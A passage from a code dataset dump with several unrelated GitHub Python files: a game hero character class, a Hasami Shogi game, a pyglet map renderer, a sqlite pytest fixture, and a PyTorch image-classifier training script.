57.2))\n self.sword_flash_image3 = Image(rotozoom(sword_flash_source,0,1.6), Vector2(72, 70.4))\n self.sword_flash_box_size = Vector3(100, 60, 100)\n self.sword_flash_offset = Vector3(100, 60, 0)\n\n self.jump_VFXID = VFXID.hero_jump\n self.move_VFXID = VFXID.hero_move\n self.land_VFXID = VFXID.hero_land\n self.attack_VFXID = VFXID.hero_attack\n self.underattack_VFXID = VFXID.hero_underattack\n self.dead_VFXID = VFXID.hero_dead\n\n self.jump_SFXID = SFXID.hero_jump\n self.move_SFXID = SFXID.hero_move\n self.land_SFXID = SFXID.hero_land\n self.attack_SFXID = SFXID.hero_attack\n self.underattack_SFXID = SFXID.hero_underattack\n self.dead_SFXID = SFXID.hero_dead\n\n self.animator: Animator = None\n self.render: SpriteRender = None\n\n # region override Character\n\n def awake(self):\n super().awake()\n self.animator = self.get_component(Animator)\n self.render = self.get_component(SpriteRender)\n self.rigidbody.set_damp(0.92)\n\n def update(self):\n if self.is_dead:\n return\n super().update()\n\n self.animator.set_bool(\"on_ground\", self.is_on_ground())\n self.animator.set_bool(\n \"running\", self.rigidbody.acceleration.length_squared() > 1)\n\n if self.buffer.get(\"jump\") and self.is_on_ground():\n self.do_jump()\n self.buffer.pop(\"jump\")\n self.buffer.pop(\"on_ground\")\n\n self.buffer.update()\n\n self.render.set_face(self.face)\n \n def on_collide(self, collision: Collision):\n # 如果下方碰撞\n if collision.face is Face.down:\n if not self.is_on_ground():\n self.on_land()\n self.on_ground()\n\n def dead(self):\n self.is_dead = True\n # FIXME 死亡後屍體因為關卡重設而卡住\n self.rigidbody.set_frozen(True)\n self.animator.set_bool(\"dead\", True)\n self.play_VFX(self.dead_VFXID, self.get_top())\n self.play_SFX(self.dead_SFXID)\n\n # TODO 使用樣板模式撥放動畫\n def take_damage(self, attack_param: AttackParam):\n super().take_damage(attack_param)\n position = self.position+Vector3((random()-0.5)*self.rigidbody.collider.get_size().x,\n random()*self.rigidbody.collider.get_size().y,\n (random()-0.5)*self.rigidbody.collider.get_size().z)\n self.play_VFX(self.underattack_VFXID, position)\n self.play_SFX(self.underattack_SFXID)\n self.animator.set_trigger(\"underattack\")\n\n # endregion\n\n # region Hero behaviour\n def is_face_left(self):\n return self.face is Face.left\n\n def is_on_ground(self):\n return self.buffer.get(\"on_ground\")\n\n def on_ground(self):\n self.buffer.set(\"on_ground\", self.can_jump_since_exit_ground_time)\n\n def on_land(self):\n self.play_VFX(self.land_VFXID, self.get_bottom())\n self.play_SFX(self.land_SFXID)\n\n def do_jump(self):\n self.play_VFX(self.jump_VFXID, self.get_bottom())\n self.play_SFX(self.jump_SFXID)\n\n self.rigidbody.add_force((0, self.jump_force, 0), ForceMode.impulse)\n self.animator.set_trigger(\"jump\")\n\n def do_attack(self, size: Vector3, offset: Vector3, damage: int, force: Vector3):\n if self.is_face_left():\n offset.x *= -1\n force.x *= -1\n box = Box(size, self.position+offset)\n rigidbodies = Physics.overlap_box(box)\n for rigidbody in rigidbodies:\n if rigidbody.compare_tag(Tag.enemy | Tag.interactable):\n target = rigidbody.get_component(UnderAttackInterface)\n param = AttackParam(damage, force)\n param.set_attacker(self)\n target.under_attack(param)\n\n # endregion\n\n # region control by Brain\n\n def move(self, direction: Vector2):\n if direction.x > 0:\n self.face = Face.right\n elif direction.x < 0:\n self.face = Face.left\n direction.scale_to_length(self.move_speed)\n self.rigidbody.add_force(\n (direction.x, 0, direction.y), ForceMode.force)\n\n def attack(self):\n self.animator.set_trigger(\"attack\")\n\n def jump(self):\n self.buffer.set(\"jump\", self.can_jump_before_enter_ground_time)\n\n\n # endregion\n\n # region Animation event\n\n #FIXME 改成真正攻擊的參數\n def combo_attack_1(self):\n\n damage = 1\n force = Vector3(500, 1200, 0)\n size = Vector3(150, 60, 500)\n offset = Vector3(100, 60, 0)\n self.do_attack(size,offset,damage,force)\n\n self.play_SFX(self.attack_SFXID)\n\n \n def combo_attack_2(self):\n\n damage = 1\n force = Vector3(700, 1500, 0)\n size = Vector3(300, 300, 200)\n offset = Vector3(120, 60, 0)\n self.do_attack(size,offset,damage,force)\n\n self.play_SFX(self.attack_SFXID)\n \n def combo_attack_3(self):\n\n damage = 2\n force = Vector3(700, 2800, 0)\n size = Vector3(300, 500, 200)\n offset = Vector3(150, 60, 0)\n self.do_attack(size,offset,damage,force)\n\n self.play_SFX(self.attack_SFXID)\n\n def air_attack(self):\n damage = 2\n force = Vector3(1000, -4500, 0)\n size = Vector3(400, 400, 200)\n offset = Vector3(150, 60, 0)\n self.do_attack(size,offset,damage,force)\n\n self.play_SFX(self.attack_SFXID)\n\n def play_move_VFX_and_SFX(self):\n self.play_SFX(self.move_SFXID)\n self.play_VFX(self.move_VFXID, self.get_bottom())\n\n # endregion\n\n # region for juice\n\n def get_bottom(self):\n bottom = self.position.xyz\n bottom.y = self.rigidbody.get_surface(Face.down)\n return bottom\n\n def get_top(self):\n bottom = self.position.xyz\n bottom.y = self.rigidbody.get_surface(Face.up)\n return bottom\n\n def play_VFX(self, vfxID: VFXID, position: Vector3):\n VFXManager.Instance().play(vfxID, position)\n\n def play_SFX(self, sfxID: SFXID):\n AudioManger.Instance().play_SFX(sfxID)\n\n # endregion\n","repo_name":"dopamine333/ARPG_Prototype","sub_path":"Scripts/Character/Hero.py","file_name":"Hero.py","file_ext":"py","file_size_in_byte":7693,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"31806017447","text":"# Author: Merlin Mallory\n# Date: 12/03/2021\n# Description: This program models Variant 1 of the Hasami Shogi Game.\n\nclass HasamiShogiGame:\n \"\"\"Represents a single instance of the Hasami Shogi Game (Variant 1), see:\n https://en.wikipedia.org/wiki/Hasami_shogi\"\"\"\n\n def __init__(self):\n \"\"\"Initializes the following data members: game_board_array, game_state, active_player,\n blacks_number_of_captured_pieces, reds_number_of_captured_pieces.\"\"\"\n self._game_board_array = list()\n self._game_state = 'UNFINISHED'\n self._active_player = 'BLACK'\n self._blacks_number_of_captured_pieces = int(0)\n self._reds_number_of_captured_pieces = int(0)\n\n for square in range(81):\n self._game_board_array.append(\"_\")\n for red_pieces in range(0, 9):\n self._game_board_array[red_pieces] = \"R\"\n for black_pieces in range(72, 81):\n self._game_board_array[black_pieces] = \"B\"\n\n def get_game_state(self):\n \"\"\"Takes no parameters and returns a str indicating the state of the game - 'UNFINISHED', 'RED_WON',\n or 'BLACK WON''\"\"\"\n return self._game_state\n\n def get_active_player(self):\n \"\"\"Takes no parameters and returns a str indicating whose turn it is - either 'RED' or 'BLACK'\"\"\"\n return self._active_player\n\n def get_num_captured_pieces(self, whose_number_of_captured_pieces):\n \"\"\"Takes a str (either 'RED' or 'BLACK'), and returns an int indicating the number of that color that have been\n captured.\"\"\"\n if whose_number_of_captured_pieces == \"RED\":\n return int(self._reds_number_of_captured_pieces)\n elif whose_number_of_captured_pieces == \"BLACK\":\n return int(self._blacks_number_of_captured_pieces)\n\n def get_square_occupant(self, search_alg_notation):\n \"\"\"Takes one string (algebraic notion) that represents a square on the board. Returns 'RED', 'BLACK',\n or 'NONE' depending upon whether the specified square is occupied by a red piece, a black piece, or neither.\"\"\"\n desired_index = self.convert_notation(search_alg_notation)\n result = self._game_board_array[desired_index]\n if result == \"_\":\n return \"NONE\"\n elif result == \"R\":\n return \"RED\"\n elif result == \"B\":\n return \"BLACK\"\n\n def print_board(self):\n \"\"\"Takes no parameters, and prints out game_board_array with the appropriate labels. Used primarily for\n testing purposes. Returns nothing.\"\"\"\n # Labeling the x-axis\n print(\" 1 2 3 4 5 6 7 8 9\")\n row = \"\"\n for rows in range(0, 9):\n for squares in range(0, 9):\n row = row + self._game_board_array[rows*9 + squares]\n row = row + \" \"\n y_label = \"\"\n if rows == 0:\n y_label = \"a\"\n elif rows == 1:\n y_label = \"b\"\n elif rows == 2:\n y_label = \"c\"\n elif rows == 3:\n y_label = \"d\"\n elif rows == 4:\n y_label = \"e\"\n elif rows == 5:\n y_label = \"f\"\n elif rows == 6:\n y_label = \"g\"\n elif rows == 7:\n y_label = \"h\"\n elif rows == 8:\n y_label = \"i\"\n\n print(y_label, row)\n row = \"\"\n\n def convert_notation(self, alg_notation):\n \"\"\"Takes a string referring to a board location in algebraic notation (str), and converts the algebraic\n notation into the corresponding index (int) in the game_board_array.\"\"\"\n row, col = alg_notation\n col = int(col)\n col = col - 1\n row_num = int()\n if row == \"a\":\n row_num = 0\n elif row == \"b\":\n row_num = 1\n elif row == \"c\":\n row_num = 2\n elif row == \"d\":\n row_num = 3\n elif row == \"e\":\n row_num = 4\n elif row == \"f\":\n row_num = 5\n elif row == \"g\":\n row_num = 6\n elif row == \"h\":\n row_num = 7\n elif row == \"i\":\n row_num = 8\n\n desired_index = row_num*9 + col\n return desired_index\n\n def clear_board(self):\n \"\"\"Clears the game_board_array (only used for testing purposes)\"\"\"\n for square in range(81):\n self._game_board_array[square] = \"_\"\n\n def place_black(self, alg_notation):\n \"\"\"Takes a location (algebraic notation) as a parameter, and places a black stone at that location. (only\n used for testing purposes)\"\"\"\n desired_index = self.convert_notation(alg_notation)\n self._game_board_array[desired_index] = \"B\"\n\n def place_red(self, alg_notation):\n \"\"\"Takes a location (algebraic notation) as a parameter, and places a red stone at that location. (only used\n for testing purposes)\"\"\"\n desired_index = self.convert_notation(alg_notation)\n self._game_board_array[desired_index] = \"R\"\n\n def place_space(self, alg_notation):\n \"\"\"Takes a location (algebraic notation) as a parameter, and empties that location. (only used for testing\n purposes)\"\"\"\n desired_index = self.convert_notation(alg_notation)\n self._game_board_array[desired_index] = \"_\"\n\n def make_move(self, move_origin_alg, move_target_alg):\n \"\"\"1. Takes two strings (algebraic notation) that represent the square moved from and the square moved to.\n 2. Calls the convert_notation function to create move_origin_index (int) and move_target_index (int) variables\n that correspond to the appropriate index in game_board_array.\n 3. Calls the legal_move_check function to see if the player's move is possible. If legal_move_check returns\n False, then make_move also returns False.\n 4. Otherwise the make_move function calls the appropriate removal_for function, which analyzes if any nearby\n enemy pieces need to be removed from the board.\n 5. After removal_check completes, make_move switches the active_player turn, updates the game_state,\n and returns True.\"\"\"\n if self._game_state == \"BLACK_WON\":\n return False\n if self._game_state == \"RED_WON\":\n return False\n\n move_origin_index = self.convert_notation(move_origin_alg)\n move_target_index = self.convert_notation(move_target_alg)\n\n if self._active_player == \"BLACK\" and self._game_board_array[move_origin_index] != \"B\":\n return False\n elif self._active_player == \"RED\" and self._game_board_array[move_origin_index] != \"R\":\n return False\n\n is_move_legal = self.legal_move_check(move_origin_index, move_target_index)\n if is_move_legal is False:\n return False\n\n self.removal_check(move_target_index)\n\n if self._active_player == \"BLACK\":\n self._active_player = \"RED\"\n elif self._active_player == \"RED\":\n self._active_player = \"BLACK\"\n\n if self._blacks_number_of_captured_pieces == 8 or self._blacks_number_of_captured_pieces == 9:\n self._game_state = \"BLACK_WON\"\n elif self._reds_number_of_captured_pieces == 8 or self._reds_number_of_captured_pieces == 9:\n self._game_state = \"RED_WON\"\n\n return True\n\n def legal_move_check(self, move_origin_index, move_target_index):\n \"\"\"Called by the make_move function. Takes two strings (index notation) that represent the square moved\n from and the square moved to. Compiles a set of all the legal moves possible for move_origin in the up, down,\n left, and, right directions. If move_target is included in the set, then this function returns True.\n Otherwise this function returns False.\"\"\"\n legal_move_set = set()\n\n # Vertical up search\n up_current_square = \"_\"\n up_current_square_index = move_origin_index\n while up_current_square == \"_\" and up_current_square_index >= 0:\n # print(\"Here's the vert up legal_move_set this iteration:\", legal_move_set)\n up_current_square_index -= 9\n try:\n up_current_square = self._game_board_array[up_current_square_index]\n except IndexError:\n up_current_square = \"X\"\n if up_current_square == \"_\" and up_current_square_index >= 0:\n legal_move_set.add(up_current_square_index)\n\n # Vertical down search\n down_current_square = \"_\"\n # print(\"move_origin_index is now:\", move_origin_index, \"in vertical down search\")\n down_current_square_index = move_origin_index\n while down_current_square == \"_\" and down_current_square_index <= 80:\n # print(\"Here's the vert down legal_move_set this iteration:\", legal_move_set)\n down_current_square_index += 9\n try:\n down_current_square = self._game_board_array[down_current_square_index]\n except IndexError:\n down_current_square = \"X\"\n if down_current_square == \"_\" and down_current_square_index <= 80:\n legal_move_set.add(down_current_square_index)\n\n # Horizontal left search\n left_current_square = \"_\"\n # print(\"move_origin_index is now:\", move_origin_index, \"in horizontal left search\")\n left_current_square_index = move_origin_index\n while left_current_square == \"_\" and (left_current_square_index % 9) != 0 and \\\n left_current_square_index >= 0:\n # print(\"Here's the horizontal left legal_move_set this iteration:\", legal_move_set)\n left_current_square_index -= 1\n try:\n left_current_square = self._game_board_array[left_current_square_index]\n except IndexError:\n left_current_square = \"X\"\n if left_current_square == \"_\" and ((left_current_square_index + 1) % 9) != 0 and \\\n left_current_square_index >= 0:\n legal_move_set.add(left_current_square_index)\n\n # Horizontal right search\n right_current_square = \"_\"\n # print(\"move_origin_index is now:\", move_origin_index, \"in horizontal right search\")\n right_current_square_index = move_origin_index\n while right_current_square == \"_\" and ((right_current_square_index+1) % 9) != 0 and \\\n right_current_square_index <= 80:\n # print(\"Here's the horizontal right legal_move_set this iteration:\", legal_move_set)\n right_current_square_index += 1\n try:\n right_current_square = self._game_board_array[right_current_square_index]\n except IndexError:\n right_current_square = \"X\"\n if right_current_square == \"_\" and (right_current_square_index % 9) != 0 and right_current_square_index <=\\\n 80:\n legal_move_set.add(right_current_square_index)\n\n if move_target_index in legal_move_set:\n if self._active_player == \"BLACK\":\n self._game_board_array[move_target_index] = \"B\"\n elif self._active_player == \"RED\":\n self._game_board_array[move_target_index] = \"R\"\n\n self._game_board_array[move_origin_index] = \"_\"\n return True\n else:\n return False\n\n def removal_check(self, move_target_index):\n \"\"\"Called by the make_move function. Takes one string (index notation) that represents the square moved\n to. Checks for enemy pieces for capture, and compiles a candidates_for_removal_list. Checks for custodial\n capture to the right, left, up, and down from the move_target_index. Also checks for corner capture.\n At the end of the function, removes the candidates_for_removal, and increments the appropriate\n num_captured_pieces variable appropriately.\"\"\"\n candidates_for_removal_list = list()\n ally_color = str()\n enemy_color = str()\n\n if self._active_player == \"BLACK\":\n ally_color = \"B\"\n enemy_color = \"R\"\n if self._active_player == \"RED\":\n ally_color = \"R\"\n enemy_color = \"B\"\n\n # Searching for vertical up removal\n mini_list = list()\n up_flag = int(0)\n red_found = False\n current_square_index = int(move_target_index)\n\n while current_square_index >= 0 and up_flag == 0:\n current_square_index -= 9\n if red_found is True and current_square_index >= 0:\n if self._game_board_array[current_square_index] == ally_color:\n for squares in mini_list:\n candidates_for_removal_list.append(squares)\n up_flag = 1\n elif self._game_board_array[current_square_index] == \"_\":\n up_flag = 1\n if current_square_index >= 0 and self._game_board_array[current_square_index] == enemy_color and up_flag == 0:\n red_found = True\n mini_list.append(current_square_index)\n else:\n up_flag = 1\n\n # Searching for vertical down removal\n mini_list = list()\n down_flag = int(0)\n red_found = False\n current_square_index = int(move_target_index)\n\n while current_square_index <= 80 and down_flag == 0:\n current_square_index += 9\n if red_found is True and current_square_index <= 80:\n if self._game_board_array[current_square_index] == ally_color:\n for squares in mini_list:\n candidates_for_removal_list.append(squares)\n down_flag = 1\n elif self._game_board_array[current_square_index] == \"_\":\n down_flag = 1\n if current_square_index <= 80 and self._game_board_array[current_square_index] == enemy_color and \\\n down_flag == 0:\n red_found = True\n mini_list.append(current_square_index)\n else:\n down_flag = 1\n\n # Searching for horizontal left removal\n mini_list = list()\n left_flag = int(0)\n red_found = False\n current_square_index = int(move_target_index)\n\n while current_square_index >= 0 and left_flag == 0 and (current_square_index % 9) != 0:\n current_square_index -= 1\n if red_found is True and current_square_index >= 0:\n if self._game_board_array[current_square_index] == ally_color:\n for squares in mini_list:\n candidates_for_removal_list.append(squares)\n left_flag = 1\n elif self._game_board_array[current_square_index] == \"_\":\n left_flag = 1\n if current_square_index >= 0 and (current_square_index % 9) != 0 and \\\n self._game_board_array[current_square_index] == enemy_color and left_flag == 0:\n red_found = True\n mini_list.append(current_square_index)\n else:\n left_flag = 1\n\n # Searching for horizontal right removal\n mini_list = list()\n right_flag = int(0)\n red_found = False\n current_square_index = int(move_target_index)\n\n while current_square_index <= 80 and right_flag == 0 and ((current_square_index+1) % 9) != 0:\n current_square_index += 1\n if red_found is True and current_square_index <= 80:\n if self._game_board_array[current_square_index] == ally_color:\n for squares in mini_list:\n candidates_for_removal_list.append(squares)\n right_flag = 1\n elif self._game_board_array[current_square_index] == \"_\":\n right_flag = 1\n if current_square_index <= 80 and ((current_square_index+1) % 9) != 0 \\\n and self._game_board_array[current_square_index] == enemy_color and right_flag == 0:\n red_found = True\n mini_list.append(current_square_index)\n else:\n right_flag = 1\n\n # Searching for corner removal\n # print(\"Current move_target_index:\", move_target_index)\n if self._game_board_array[0] == enemy_color:\n if move_target_index == 1:\n if self._game_board_array[9] == ally_color:\n candidates_for_removal_list.append(0)\n if move_target_index == 9:\n if self._game_board_array[1] == ally_color:\n candidates_for_removal_list.append(0)\n\n if self._game_board_array[8] == enemy_color:\n if move_target_index == 7:\n if self._game_board_array[17] == ally_color:\n candidates_for_removal_list.append(8)\n if move_target_index == 17:\n if self._game_board_array[7] == ally_color:\n candidates_for_removal_list.append(8)\n\n if self._game_board_array[72] == enemy_color:\n if move_target_index == 63:\n if self._game_board_array[73] == ally_color:\n candidates_for_removal_list.append(72)\n if move_target_index == 73:\n if self._game_board_array[63] == ally_color:\n candidates_for_removal_list.append(72)\n\n if self._game_board_array[80] == enemy_color:\n if move_target_index == 71:\n if self._game_board_array[79] == ally_color:\n candidates_for_removal_list.append(80)\n if move_target_index == 79:\n if self._game_board_array[71] == ally_color:\n candidates_for_removal_list.append(80)\n\n # Removing the candidates\n # print(\"Here's candidates_for_removal right before action\", candidates_for_removal_list)\n\n for square in candidates_for_removal_list:\n self._game_board_array[square] = \"_\"\n if self._active_player == \"BLACK\":\n self._blacks_number_of_captured_pieces += 1\n elif self._active_player == \"RED\":\n self._reds_number_of_captured_pieces += 1\n","repo_name":"merlin-mallory/HasamiShogi-Portfolio","sub_path":"HasamiShogiGame_MerlinMallory.py","file_name":"HasamiShogiGame_MerlinMallory.py","file_ext":"py","file_size_in_byte":18244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"13113161783","text":"import pyglet as pg\n\nfrom typing import List, Tuple\n\nfrom environment import PlayerState\n\ndef show_birdseye(player_state: PlayerState, map_grid: List[str], window_size: Tuple[int, int]):\n # Size the map to fit in the window\n cell_size = min(window_size[0] / len(game_map[0]), window_size[1] / len(game_map))\n\n batch = pg.graphics.Batch()\n space: List = []\n for row, block in enumerate(map_grid):\n for col, cell in enumerate(block):\n # Draw open space as a white block\n bottom_left_x = col * cell_size\n bottom_left_y = row * cell_size\n color = (250, 248, 184) if cell != \"#\" else (11, 42, 109)\n space.append(pg.shapes.Rectangle(x=bottom_left_x, y=bottom_left_y,\n width=cell_size, height=cell_size, color=color,\n batch=batch))\n\n player_icon = pg.shapes.Circle(player_state.x * cell_size, player_state.y * cell_size,\n int(cell_size/4), color=(255, 30, 30),\n batch=batch)\n\n batch.draw()\n\n\nif __name__ == '__main__':\n screen: Tuple[int, int] = (700, 700)\n birdseye_window = pg.window.Window(screen[0], screen[1], \"Bird's Eye View\", vsync=False)\n\n # Set up our initial player state and game map\n player: PlayerState = PlayerState(x=2.5,\n y=2.5,\n angle=0.0,\n step_size=0.045)\n\n game_map: List[str] = ['################',\n '# # #',\n '# ## # #',\n '# # # #',\n '# # # #### ###',\n '# ## #',\n '# # ## #',\n '## ##',\n '### ##',\n '# # #',\n '# ## # #',\n '# # # #',\n '# # # #### ###',\n '# ### # ## #',\n '# # ## #',\n '################'\n ]\n\n @birdseye_window.event\n def on_draw():\n birdseye_window.clear()\n show_birdseye(player, game_map, screen)\n\n\n pg.app.run()\n","repo_name":"Shallow-Dives/game-dev-wizardry","sub_path":"01-ray-casting/src/pg_utils.py","file_name":"pg_utils.py","file_ext":"py","file_size_in_byte":2458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"24413305804","text":"import pytest\nimport sqlite3\nfrom pathlib import Path\nfrom conf_schema import create_user_blogs, fill_user_blogs\n\n\ndef populate_sqlite3_db(db_path):\n conn = sqlite3.connect(db_path)\n cur = conn.cursor()\n cur.executescript(\"\\n\".join(create_user_blogs(\"sqlite\")))\n fill_user_blogs(cur, \"sqlite\")\n conn.commit()\n conn.close()\n\n\n@pytest.fixture\ndef sqlite3_db_path(tmpdir):\n db_path = str(Path(tmpdir.strpath) / \"blogdb.db\")\n populate_sqlite3_db(db_path)\n return db_path\n","repo_name":"nackjicholson/aiosql","sub_path":"tests/conf_sqlite.py","file_name":"conf_sqlite.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","stars":1217,"dataset":"github-code","pt":"38"} +{"seq_id":"20386851939","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.utils.data import DataLoader\nfrom torchvision import datasets, transforms, models # add models to the list\nfrom torchvision.utils import make_grid\nimport os\n\nfrom sklearn.metrics import classification_report\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n#% matplotlib inline\nfrom torchsummary import summary\n# ignore harmless warnings\nimport warnings\n\n\nwarnings.filterwarnings(\"ignore\")\ntrain_transform = transforms.Compose([\n transforms.RandomRotation(10), # rotate +/- 10 degrees\n transforms.RandomHorizontalFlip(), # reverse 50% of images\n transforms.Resize(224), # resize shortest side to 224 pixels\n transforms.CenterCrop(224), # crop longest side to 224 pixels at center\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406],\n [0.229, 0.224, 0.225])\n])\ntest_transform = transforms.Compose([\n transforms.Resize(224),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406],\n [0.229, 0.224, 0.225])\n])\n# train_data=datasets.ImageFolder(root=(\"../input/smallcracked/haitao10.31/train\"),transform=train_transform)\n# test_data=datasets.ImageFolder(root=(\"../input/smallcracked/haitao10.31/val\"),transform=test_transform)\n# train_data=datasets.ImageFolder(root=(\"../input/smallcracked/haitao10.31bw/train\"),transform=train_transform)\n# test_data=datasets.ImageFolder(root=(\"../input/smallcracked/haitao10.31bw/val\"),transform=test_transform)\ntrain_data = datasets.ImageFolder(root=(\"../data_set/500/train\"), transform=train_transform)\ntest_data = datasets.ImageFolder(root=(\"../data_set/500/val\"), transform=test_transform)\nclass_names = train_data.classes\nclass_names\ntrain_loader = DataLoader(train_data, batch_size=10, shuffle=True)\n\ntest_loader = DataLoader(test_data, batch_size=10)\nlen(train_data)\nlen(test_data)\nfor images, labels in train_loader:\n break\n# print the labels\nprint('Label:', labels.numpy())\nprint('Class:', *np.array([class_names[i] for i in labels]))\n\nim = make_grid(images, nrow=5)\nplt.figure(figsize=(10, 10))\nplt.imshow(np.transpose(im.numpy(), (1, 2, 0)))\ninv_normalize = transforms.Normalize(mean=[-0.485 / 0.229, -0.456 / 0.224, -0.406 / 0.225],\n std=[1 / 0.229, 1 / 0.224, 1 / 0.225])\nim = inv_normalize(im)\nplt.figure(figsize=(10, 10))\nplt.imshow(np.transpose(im.numpy(), (1, 2, 0)))\n\n\nclass ConvolutionalNetwork(nn.Module): # Building our own convolutional neural network\n def __init__(self):\n super().__init__()\n self.conv1 = nn.Conv2d(3, 6, 3, 1)\n self.conv2 = nn.Conv2d(6, 16, 3, 1)\n self.fc1 = nn.Linear(16 * 54 * 54, 120) # building with 120 neurons\n self.fc2 = nn.Linear(120, 84)\n self.fc3 = nn.Linear(84, 20)\n self.fc4 = nn.Linear(20, 2)\n\n def forward(self, X):\n X = F.relu(self.conv1(X))\n X = F.max_pool2d(X, 2, 2)\n X = F.relu(self.conv2(X))\n X = F.max_pool2d(X, 2, 2)\n X = X.view(-1, 16 * 54 * 54)\n X = F.relu(self.fc1(X))\n X = F.relu(self.fc2(X))\n X = F.relu(self.fc3(X))\n X = self.fc4(X)\n\n return F.log_softmax(X, dim=1)\n\n\nCNNmodel = ConvolutionalNetwork()\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\nCNNmodel.to(device);\ncriterion = nn.CrossEntropyLoss()\noptimizer = torch.optim.Adam(CNNmodel.parameters(), lr=0.001) # We would be using adam as an optimizer\n\n\ndef count_parameters(model):\n params = [p.numel() for p in model.parameters() if p.requires_grad]\n for item in params:\n print(f'{item:>8}')\n print(f'________\\n{sum(params):>8}')\n\n\ncount_parameters(CNNmodel)\nimport time\n\nstart_time = time.time()\ntrain_losses = []\ntest_losses = []\ntrain_correct = []\ntest_correct = []\n\nepochs = 1\nfor i in range(epochs):\n trn_corr = 0\n tst_corr = 0\n for b, (X_train, y_train) in enumerate(\n train_loader): # Training our model on images and then testing our model with\n X_train = X_train.to(device)\n y_train = y_train.to(device)\n b += 1 # test batch sizes.\n y_pred = CNNmodel(X_train)\n loss = criterion(y_pred, y_train)\n # true predictions\n predicted = torch.max(y_pred.data, 1)[1]\n batch_corr = (predicted == y_train).sum()\n trn_corr += batch_corr\n\n # update parameters\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n # print interim results\n if b % 10 == 0:\n print(f\"epoch: {i} batch: {b} accuracy: {trn_corr.item() * 100 / (10 * b):7.3f}%\")\n loss = loss.cpu().detach().numpy()\n train_losses.append(loss)\n train_correct.append(trn_corr)\n\n y_predict = torch.tensor([]).to(device) # 创建tensor(empty)\n y_true = torch.tensor([]).to(device)\n\n with torch.no_grad():\n for b, (X_test, y_test) in enumerate(test_loader):\n X_test = X_test.to(device)\n y_test = y_test.to(device)\n y_val = CNNmodel(X_test)\n loss = criterion(y_val, y_test)\n\n predicted = torch.max(y_val.data, 1)[1]\n btach_corr = (predicted == y_test).sum()\n tst_corr += btach_corr\n\n y_predict=torch.cat([y_predict,predicted],0)\n y_true=torch.cat([y_true,y_test],0)\n\n\n # print(predicted)\n # print(y_test)\n loss = loss.cpu().detach().numpy()\n test_losses.append(loss)\n test_correct.append(tst_corr)\n y_predict = np.array(torch.tensor(y_predict, device='cpu'))\n y_true = np.array(torch.tensor(y_true, device='cpu'))\n print(len(y_true))\n print(len(y_predict))\n print(f\"test accuracy: {tst_corr.item() * 100 / (10 * b):7.3f}%\")#item取出tensor值\n print(classification_report(y_true, y_predict))\ntest_correct = np.array(torch.tensor(test_correct, device='cpu'))\ntest_correct=np.array(test_correct)\ntest_correct=test_correct/len(test_data)\nprint(test_correct)\nsummary(CNNmodel,(3,224,224))\n# netron.start('F:/deep-learning-for-image-processing-master/haiwang/Alexnet_11.29rgb2500.pth')\n# print(f'\\nDuration: {time.time() - start_time:.0f} seconds')\n\n\nalexnetmodel = models.alexnet(pretrained=False)\ncount_parameters(alexnetmodel)\n# for param in alexnetmodel.parameters():\n# param.requires_grad=False\ntorch.manual_seed(42)\n\nalexnetmodel.classifier = nn.Sequential(nn.Linear(9216, 1024),\n nn.ReLU(),\n nn.Dropout(p=0.5),\n nn.Linear(1024, 2),\n nn.LogSoftmax(dim=1))\nalexnetmodel\ncriterion = nn.CrossEntropyLoss()\noptimizer = torch.optim.Adam(alexnetmodel.classifier.parameters(), lr=0.001)\nimport time\n\nstart_time = time.time()\ntrain_losses = []\ntest_losses = []\ntrn_correct = []\ntst_correct = []\ntrain_correct = []\ntest_correct = []\ndevice = torch.device(\"cpu\")\n\nepochs = 1\nfor i in range(epochs):\n trn_corr = 0\n tst_corr = 0\n for b, (X_train, y_train) in enumerate(train_loader):\n b += 1\n\n y_pred = alexnetmodel(X_train)\n loss = criterion(y_pred, y_train)\n # Update parameters\n predicted = torch.max(y_pred.data, 1)[1]\n batch_corr = (predicted == y_train).sum()\n trn_corr += batch_corr\n\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n if b % 10 == 0:\n print(f'epoch: {i:2} batch: {b:4} [{10 * b:6}] loss: {loss.item():10.8f} \\\naccuracy: {trn_corr.item() * 100 / (10 * b):7.3f}%')\n\n loss = loss.detach().numpy()\n train_losses.append(loss)\n train_correct.append(trn_corr)\n\n y_predict = torch.tensor([]).to(device) # 创建tensor(empty)\n y_true = torch.tensor([]).to(device)\n\n with torch.no_grad():\n for b, (X_test, y_test) in enumerate(test_loader):\n b += 1\n\n y_val = alexnetmodel(X_test)\n predicted = torch.max(y_val.data, 1)[1]\n btach_corr = (predicted == y_test).sum()\n tst_corr += btach_corr\n\n y_predict = torch.cat([y_predict, predicted], 0)\n y_true = torch.cat([y_true, y_test], 0)\n\n #\n y_predict = np.array(torch.tensor(y_predict, device='cpu'))\n y_true = np.array(torch.tensor(y_true, device='cpu'))\n\n print(len(y_predict), len(y_true))\n loss = criterion(y_val, y_test)\n loss = loss.detach().numpy()\n test_losses.append(loss)\n test_correct.append(tst_corr)\n print(f\"test accuracy: {tst_corr.item() * 100 / (10 * b):7.3f}%\")\n print(classification_report(y_true, y_predict))\ntest_correct = np.array(torch.tensor(test_correct, device='cpu'))\ntest_correct=np.array(test_correct)\ntest_correct=test_correct/len(test_data)\nprint(test_correct)\nsummary(alexnetmodel,(3,224,224),)\n# print(f'\\nDuration: {time.time() - start_time:.0f} seconds')","repo_name":"jiawenbin2023/train-code","sub_path":"code/train/cnnori.py","file_name":"cnnori.py","file_ext":"py","file_size_in_byte":8942,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"537118505","text":"import numpy as np\nfrom findall import findall\nfrom sort_string_wfs import sort_string_wfs\nfrom get_last_symbol import get_last_symbol\nfrom dffa import DFFA\n\n# build FPTA \ndef build_ftpa_data(trainingset_np, alphabets):\n alphabet_map = {}\n for i in range(0, len(alphabets)):\n 